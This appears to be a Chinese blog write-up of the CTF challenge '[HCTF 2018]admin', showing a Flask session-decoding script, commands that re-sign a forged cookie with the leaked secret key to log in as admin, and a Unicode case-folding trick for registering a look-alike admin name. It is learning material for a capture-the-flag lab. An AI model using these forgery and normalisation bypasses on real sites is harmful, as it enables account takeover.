Loading

[HCTF 2018]admin

[HCTF 2018]admin

一开始发现两个页面 登录页面和注册页面,页面源码说的意思应该是需要admin登录,二话不说,先用 top3000 跑了一下,发现没作用,可能不是考弱口令,看抓包的数据,也不是考xxe

image-20220511201110671

image-20220511200512027

没啥思路了,看看网上说的有三种做法, 就跟着做下吧,学习一下。大佬博客 ,注册了一个账号之后,用注册的账号登录后就发现 change 的源码处给出了一个github地址,访问一下看看是啥,看大佬说的是 flask session 伪造。

image-20220511201200327

方法一:flask session 伪造

打开给的 github 地址,这是给出了本题的源码啊,用的是 flask 框架,flask 是一个轻量型的web框架,其session存储在客户端上并对存储的session进行了签名处理,Flask也被称为 “microframework” ,因为它使用简单的核心,用 extension 增加其他功能。Flask没有默认使用的数据库、窗体验证工具。百度百科

image-20220511203656540

跟着大佬用解密脚本跑一下,把我自己注册的账号session解出来。

image-20220511205509038

root@Ksec:/opt/python/flask# pip3 install flask
root@Ksec:/opt/python/flask# cat flask_session.py 
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))		# 运行时需要输入一个参数

image-20220511205210584

解密后可以看到session加密之前的每个字段对应的值user_id这些,根据这些就可以去伪造一个 session ,访问的时候修改session,先看看表单提交后的内容,看 index.html 页面,只要 session[‘name’] == ‘admin’ 就可以输出 flag 。

image-20220511210216192

git clone 大佬给出的 flask session 加密py地址:flask_session_cookie_manager

image-20220511211028733

在加密代码中 需要一个 secret_key 的值,这个值在 题目源码中 也可以找到,然后构造好自己的 session 再进行加密。

image-20220511211130506

# session
{'_fresh': True, '_id': b'efdbed820f21c12499590130ae098e1f304b39ed9147902f1fe3aca402f77289d2dd238c74a6a24befca5136889865e88a3bab5bbfea8996033808451668ab91', 'csrf_token': b'619c389ece9f48335e86dab338f02a4a9f6c7d8b', 'image': b'Y3CX', 'name': 'admin', 'user_id': '10'}

# 修改 name 的值为 admin。
# flask_session_cookie_manager3 use
root@Ksec:/opt/python/flask# git clone https://github.com/noraj/flask-session-cookie-manager.git
root@Ksec:/opt/python/flask# cd flask-session-cookie-manager/
root@Ksec:/opt/python/flask# chmod u+x f*
root@Ksec:/opt/python/flask/flask-session-cookie-manager# python3 flask_session_cookie_manager3.py encode -h
usage: flask_session_cookie_manager3.py encode [-h] -s <string> -t <string>

optional arguments:
  -h, --help            show this help message and exit
  -s <string>, --secret-key <string>
                        Secret key
  -t <string>, --cookie-structure <string>
                        Session cookie structure


# 加密修改完成的字段
root@Ksec:/opt/python/flask/flask-session-cookie-manager# python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh':True,'_id':b'efdbed820f21c12499590130ae098e1f304b39ed9147902f1fe3aca402f77289d2dd238c74a6a24befca5136889865e88a3bab5bbfea8996033808451668ab91', 'csrf_token': b'619c389ece9f48335e86dab338f02a4a9f6c7d8b', 'image': b'Y3CX', 'name': 'admin', 'user_id': '10'}"

.eJw9kM2KwjAUhV9luGsXY6fdCC6E1FIhN1RiQ7IRR2uTNOlAq1QjvvtkHHB34XC_8_OA_XloRg2Ly3BtZrA3J1g84OMbFqCE6qSvO0bKSdnyJkN-R9JlyLuJcjpJsZsY144KGSjZGhqcU6S7ITlmlGw8FcrRZG0lrybq5ReGMmWiuquiutOgLYatRh-ZxcYpjxp5HtC2KeNtgmKXsiIP0q8Nio1Rvtbsz9uuAg3txEg1p1wmrFgbxvMlPGdwHIfz_vLTNf27Ato8i-GibW0Vdx5JG99rx0isJsp4ax-jaizyTFllMalS2S5fOOMPbfMmCY5ErP6V_uCjAIeTNz3M4Do2w2s3mH_C8xd4CG8h.Ynu3gQ.cVEZKa7wcGSoSBdIaRk_ySryTx8

用自己注册的账号进行登录抓包,然后修改 cookie,放行就可以登录成功了。

image-20220511212017444

image-20220511212026681

方法二:unicode 欺骗

这种方法相对上面的好像简单点,先看看问题出在呢。

image-20220511214152849

image-20220511215937614

注册的用户会经过 strlower 函数进行转换,利用nodeprep.prepare函数unicode字符ᴬ转换成A,而A再调用一次nodeprep.prepare函数会把A转换成a,所以先注册一个 ᴬᴰᴹᴵᴺ 的用户,在注册的时候 ᴬᴰᴹᴵᴺ 会被转换成 ADMIN 然后 再正常修改的时候会再进行一次用户名的转换,就会将 ADMIN 都转换成小写的 admin 就可以登录上了,由于输出flag的时候只验证了 name 这样就可以直接拿到了。

image-20220511215859748

image-20220511215907208

方法三:条件竞争

由于条件竞争需要多线程跑,对平台不太友好,实在想搞,就拉源码自己搭一下,结果还不一定多久可以跑出来,就不说了,可以参考一下师傅们的文章。

参考文章:

小白白@

laolao师傅

[flask文档](

posted @ 2022-08-13 10:38  knsec  阅读(168)  评论(0编辑  收藏  举报